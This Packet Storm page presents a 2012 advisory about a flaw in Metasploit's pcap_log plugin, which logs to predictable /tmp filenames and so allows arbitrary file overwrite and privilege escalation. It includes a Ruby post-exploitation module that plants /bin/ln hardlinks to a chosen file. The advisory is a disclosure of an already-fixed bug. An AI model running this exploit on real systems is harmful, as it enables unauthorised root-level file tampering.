what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Metasploit pcap_log Privlege Escalation

Metasploit pcap_log Privlege Escalation
Posted Jul 17, 2012
Authored by 0a29406d9794e4f9b30b3c5d6702c708

Metasploit plugin 'pcap_log' is vulnerable to an arbitrary file overwrite bug which can further be leveraged to insert user-controlled data resulting in potential escalation of privileges. Metasploit module included.

tags | exploit, arbitrary
SHA-256 | a3608689ff5f6a56679189ea8149e0e805de1c706fb7d3fedff592abe11d622b

Metasploit pcap_log Privlege Escalation

Change Mirror Download
================
0A29-12-2 : Metasploit 'pcap_log' plugin privilege escalation vulnerability

Author: 0a29406d9794e4f9b30b3c5d6702c708

twitter.com/0a29 - 0a29.blogspot.com - GMail 0a2940

================
Description:
================

Metasploit plugin 'pcap_log' is vulnerable to an arbitrary file overwrite bug
which can further be leveraged to insert user-controlled data resulting in
potential escalation of privileges

================
Timeline:
================

16 July 2012 - Reported
16 July 2012 - Acknowledged & fixed by HD Moore
https://github.com/rapid7/metasploit-framework/commit/428a98c1d1d5341d32ffe0ed380d06a327ed2740
16 July 2012 - Public disclosure
http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html
================
Details:
================

By default the pcap_log plugin (plugins/pcap_log.rb) logs pcap to a file like
'/tmp/msf3-session_2012-07-16_15-15-35.pcap'. This is of course is
predictable so a simple 'ln' in advance to a privileged file will
result in arbitrary file overwrite. The module has to run as root.

Here's the fun part - by sending packets we can then insert our own
content into any file (surrounded by pcap headers and all
the other packets)

======
Sample PoC (needs work)

modules/post/linux/exploit/metasploit_pcaplog.rb
======

# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'

class Metasploit3 < Msf::Post

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System

def initialize(info={})
super( update_info( info,
'Name' => 'Metasploit plugin "pcap_log"
arbirary file overwrite / privilege escalation',
'Description' => %q{ Post exploitation module to
exploit 0A29-12-2, a vulnerability in metasploit pcap_log plugin.
Depending on the file you choose to
overwrite, you will need to netcat/telnet etc. the data
that you wish to appear in the file.},

'License' => MSF_LICENSE,
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'URL',
'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'
],
[ 'URL',
'https://github.com/rapid7/metasploit-framework/commit/428a98c1d1d5341d32ffe0ed380d06a327ed2740'
]
],
'DisclosureDate'=> "July 16 2012"

))
register_options([
OptInt.new('NUMBER', [true, 'Number of seconds to prime
/tmp/ with', nil]),
OptString.new('FILE', [true, 'File to
overwrite with PCAP data', nil]),
], self.class)

end

def link(t)
file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [
"msf3-session", t.year, t.month, t.mday, t.hour,
t.min, t.sec
]
fname = ::File.join("/tmp", file_part)
retval = session.shell_command("/bin/ln #{datastore['FILE']} #{fname}")
end

# Run Method for when run command is issued
def run
for i in 0..(datastore['NUMBER'])
link(Time.now+1)
end
print_status("Set #{datastore['NUMBER']} links.")
end

def cleanup
print_status("Manual cleanup required: rm -f /tmp/msf3-session*")
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close